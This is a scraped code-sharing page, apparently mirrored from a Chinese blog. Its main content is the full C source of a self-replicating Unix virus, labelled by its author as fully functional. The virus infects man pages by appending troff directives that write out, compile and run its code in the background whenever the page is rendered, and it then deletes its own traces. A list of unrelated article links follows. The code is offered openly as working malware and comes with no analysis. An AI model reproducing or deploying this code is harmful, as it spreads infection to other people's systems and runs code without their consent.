zoukankan
html css js c++ java
Manpage 原代码
Code
/**/
/*
** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
**
*/
#include
<
stdio.h
>
#include
<
sys
/
types.h
>
#include
<
dirent.h
>
#include
<
stdlib.h
>
const
char
*
viriiSource
=
"
/tmp/virus.c
"
;
const
char
*
tmpVictum
=
"
/tmp/victum
"
;
const
char
*
ident
=
"
.\x5c\x22VIRUS\x0a
"
;
char
path[]
=
"
/usr/man/manx
"
;
int
wasZipped
=
0
;
char
*
findVictum();
int
infectVictum(
char
*
);
int
main(
int
argc,
char
**
argv)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(
*
argv);
}
char
*
findVictum()
{
DIR
*
dp;
FILE
*
fd;
struct
dirent
*
de;
int
index
=
0
;
char
buf[
1000
];
static
char
pathname[
1000
];
/**/
/*
inititialization
*/
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
srand(time(NULL));
index
=
rand()
%
3
;
path[
12
]
=
index
+
49
;
if
((dp
=
opendir(path))
==
NULL)
{
return
NULL;
}
/**/
/*
skip "." and ".."
*/
readdir(dp); readdir(dp);
while
(
1
)
{
/**/
/*
read next entry
*/
if
((de
=
readdir(dp))
==
NULL)
{
closedir(dp);
return
NULL;
}
/**/
/*
create full pathname
*/
sprintf(pathname,
"
%s/%s
"
, path, de
->
d_name);
/**/
/*
if zipped
*/
if
(strstr(pathname,
"
.gz
"
))
{
sprintf(buf,
"
gunzip %s
"
, pathname);
system(buf);
wasZipped
=
1
;
/**/
/*
without '.gz'
*/
pathname[strlen(pathname)
-
3
]
=
0
;
}
/**/
/*
get next filename from directory
*/
if
((fd
=
fopen(pathname,
"
r
"
))
==
NULL)
{
continue
;
}
fgets(buf,
100
, fd);
/**/
/*
look if not already infected
*/
if
(strcmp(buf, ident)
==
0
)
{
fclose(fd);
memset(buf,
0
,
1000
);
memset(pathname,
0
,
1000
);
}
else
{
fclose(fd);
return
pathname;
}
}
}
int
infectVictum(
char
*
victum)
{
char
buf[
1000
];
FILE
*
virusIn,
*
victumIn,
*
tmpOut;
memset(buf,
0
,
1000
);
if
((virusIn
=
fopen(viriiSource,
"
r
"
))
==
NULL)
{
return
1
;
}
if
((tmpOut
=
fopen(tmpVictum,
"
a
"
))
==
NULL)
{
fclose(virusIn);
return
1
;
}
if
((victumIn
=
fopen(victum,
"
r
"
))
==
NULL)
{
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
/**/
/*
write ident-string to man-page
*/
fprintf(tmpOut,
"
%s
"
, ident);
/**/
/*
and append the original man-page
*/
while
(fgets(buf,
999
, victumIn)
!=
NULL)
{
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
1000
,
0
);
}
fclose(victumIn);
/**/
/*
finally append virus-code to it
*/
sprintf(buf,
"
.opena v %s\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
memset(buf,
0
,
1000
);
while
(fgets(buf,
999
, virusIn)
!=
NULL)
{
fprintf(tmpOut,
"
.write v %s
"
, buf);
memset(buf,
0
,
1000
);
}
sprintf(buf,
"
.pso cc %s -o /tmp/virus;/tmp/virus &\x0a
"
, viriiSource);
fprintf(tmpOut,
"
%s
"
, buf);
fclose(virusIn);
fclose(tmpOut);
unlink(victum);
/**/
/*
our smart-copy ;-)
*/
link(tmpVictum, victum);
unlink(tmpVictum);
if
(wasZipped)
{
sprintf(buf,
"
gzip %s
"
, victum);
system(buf);
}
return
0
;
}
查看全文
相关阅读:
20165212第八周学习总结
20165212第八周课上测试补做
20165212实验二面向对象程序设计
Titanic生存预测
聚类算法数据生成器make_blobs
k-means
监督学习、无监督学习与半监督学习
在线Latex公式编辑器
西瓜书课后习题——第四章
ML经典数据集
原文地址:https://www.cnblogs.com/phirothing/p/1396016.html
最新文章
Myod
2018-2019-1 20165226 《信息安全系统设计基础》第1周学习总结
极客学习笔记
ACM:日历本
windows主用python3 个别程序使用python2的方法
gcc 无法编译c17程序解决办法
linux下dpkg繁忙,解决方法
kali linux 使用笔记本快捷键调节音量
[转载] 修改linux终端用户名的颜色
linux安装nord,卸载nord源
热门文章
linux使用代理进行apt安装 以 nord 为例
去除pt种里tracker的方法
burpsuit 无法导入证书,抓取https的解决办法
2018-2019-1 20165212 《信息安全系统设计基础》第1周学习总结
20165212 2017-2018-2《Java程序设计》课程总结
实验五 《网络编程与安全》:客户端和服务器之间的通信,密码学算法的应用
2065212Java实验四android开发基础
20165212实验三——敏捷开发与XP实践
20165212第九周学习总结
20165212四则运算2
Copyright © 2011-2022 走看看